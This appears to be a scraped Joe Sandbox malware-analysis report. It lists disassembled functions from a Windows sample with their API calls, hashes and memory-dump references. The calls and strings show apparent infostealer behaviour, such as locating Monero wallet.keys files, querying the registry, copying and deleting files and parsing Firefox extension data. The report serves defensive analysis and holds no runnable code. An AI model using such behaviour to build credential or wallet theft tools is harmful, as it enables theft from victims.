Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: d6f7cc7d0cc381e1dcb3b5bbee8d45c469e5c367102fd687c5bb67bb3925959c
Instruction ID: 6f1ac95eefd5f71a7ec9e1fbeac92c0c94c76dbd8d75736f023a03868ea5e4a7
Opcode Fuzzy Hash: d6f7cc7d0cc381e1dcb3b5bbee8d45c469e5c367102fd687c5bb67bb3925959c
Instruction Fuzzy Hash: 424187B7D102086BDB24FBA0DC56FFE733EAB88300F00455DB71557181EA759B899B92

Function 6C67C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C67C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C67C969
GetSystemInfo.KERNEL32(?), ref: 6C67C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C67C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C67C9E2

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 3511bcdbfd6aab231d661c2af96b391452c567067438d9c67a7dd5a5ce44c136
Instruction ID: 02d80ae921611437cca9c280cf6f8cd8cd42032126bac623253fe6cc54dbc50c
Opcode Fuzzy Hash: 3511bcdbfd6aab231d661c2af96b391452c567067438d9c67a7dd5a5ce44c136
Instruction Fuzzy Hash: EA21FC317453147BDB94AA25DCC4BAE77B9AF8A744F50051BF903A7640EB705C0087AD

Function 006F7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006F7E37
RtlAllocateHeap.NTDLL(00000000), ref: 006F7E3E
RegOpenKeyExA.KERNEL32(80000002,0164B738,00000000,00020119,?), ref: 006F7E5E
RegQueryValueExA.KERNEL32(?,0165D458,00000000,00000000,000000FF,000000FF), ref: 006F7E7F
RegCloseKey.ADVAPI32(?), ref: 006F7E92

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: d4616bfcb5e7cf18e7deb005dc5f1a8b54b5e92de95b98d99019b10887fbf960
Instruction ID: 4b3428ae0f75be279c075dd433d4d44da410019bc3a1aa3c46774431935fa9af
Opcode Fuzzy Hash: d4616bfcb5e7cf18e7deb005dc5f1a8b54b5e92de95b98d99019b10887fbf960
Instruction Fuzzy Hash: 581191B2A48209EBD714CF94DD49FBBBBBDFB04710F10411AF705A7280D77458029BA1

Function 006E12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006E12B4
RtlAllocateHeap.NTDLL(00000000), ref: 006E12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 006E12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006E12F5
RegCloseKey.ADVAPI32(?), ref: 006E12FF

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 3b3b70bace3d41e67a5d183532d14d439ff8d85607a8276dae22ded506138e32
Instruction ID: 59db21fa8695a798f5814b1a4aec2881c5845c94d96d929419a1b418a384366b
Opcode Fuzzy Hash: 3b3b70bace3d41e67a5d183532d14d439ff8d85607a8276dae22ded506138e32
Instruction Fuzzy Hash: 92011DBAA54208BBDB14DFE0DC49FAEB7BCEB48701F108159FA0597280D6759A019B51

Function 006EA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01658990,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 006EA0BD
LoadLibraryA.KERNEL32(0165D6F8), ref: 006EA146

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA820: lstrlen.KERNEL32(006E4F05,?,?,006E4F05,00700DDE), ref: 006FA82B
Part of subcall function 006FA820: lstrcpy.KERNEL32(00700DDE,00000000), ref: 006FA885

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

SetEnvironmentVariableA.KERNEL32(01658990,00000000,00000000,?,007012D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00700AFE), ref: 006EA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 006EA0B2, 006EA0C6, 006EA0DC

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: a90ffba7ac734247de16e39c5db88c8db3b5cbe96f266152cd97e46153571155
Instruction ID: 540cceef34410b1a8fa33f95640cafcc890d6cf41910be17d6dbdc3a7b7c3d69
Opcode Fuzzy Hash: a90ffba7ac734247de16e39c5db88c8db3b5cbe96f266152cd97e46153571155
Instruction Fuzzy Hash: 4F4185F292A2049FC764DFA5EC45AEE33B6BB08301F18411CF505A32A1DB355A46DB57

Function 006EA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Part of subcall function 006F8B60: GetSystemTime.KERNEL32(00700E1A,01659A58,007005AE,?,?,006E13F9,?,0000001A,00700E1A,00000000,?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006F8B86

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006EA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 006EA3FF
lstrlen.KERNEL32(00000000), ref: 006EA6BC

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

DeleteFileA.KERNEL32(00000000), ref: 006EA743

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: d41bcb9edb7c1c4c6cdd16ce7e8e2648bdfbd571164002e3c41015130b1efeb3
Instruction ID: 1cb7eff9aaf2308bc4b4d589e29715da5530df8e418e0d244371fef47a77b19a
Opcode Fuzzy Hash: d41bcb9edb7c1c4c6cdd16ce7e8e2648bdfbd571164002e3c41015130b1efeb3
Instruction Fuzzy Hash: 61E1C1B281010C9BDB54EBE4DC91EFE733AAF14340F50816DF61A76091EF746A49CB6A

Function 006ED780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Part of subcall function 006F8B60: GetSystemTime.KERNEL32(00700E1A,01659A58,007005AE,?,?,006E13F9,?,0000001A,00700E1A,00000000,?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006F8B86

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006ED801
lstrlen.KERNEL32(00000000), ref: 006ED99F
lstrlen.KERNEL32(00000000), ref: 006ED9B3
DeleteFileA.KERNEL32(00000000), ref: 006EDA32

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 73815425cb2318a9a07a08133443cee8673f490f87b7cc3d0f6ccddc2be3571e
Instruction ID: 3736f487e2132258e23a87ce625891c3f73e4dc2cc301575e1f0bcd38841d313
Opcode Fuzzy Hash: 73815425cb2318a9a07a08133443cee8673f490f87b7cc3d0f6ccddc2be3571e
Instruction Fuzzy Hash: 8C8103B291010C9BCB54FBE4DC56DFE733AAF14340F50452CF61AA6091EF746A09DBA6

Function 006EF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Part of subcall function 006E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006E99EC
Part of subcall function 006E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006E9A11
Part of subcall function 006E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006E9A31
Part of subcall function 006E99C0: ReadFile.KERNEL32(000000FF,?,00000000,006E148F,00000000), ref: 006E9A5A
Part of subcall function 006E99C0: LocalFree.KERNEL32(006E148F), ref: 006E9A90
Part of subcall function 006E99C0: CloseHandle.KERNEL32(000000FF), ref: 006E9A9A

Part of subcall function 006F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006F8E52

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00701580,00700D92), ref: 006EF54C
lstrlen.KERNEL32(00000000), ref: 006EF56B

Strings

moz-extension+++, xrefs: 006EF5AD
^userContextId=4294967295, xrefs: 006EF59C

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
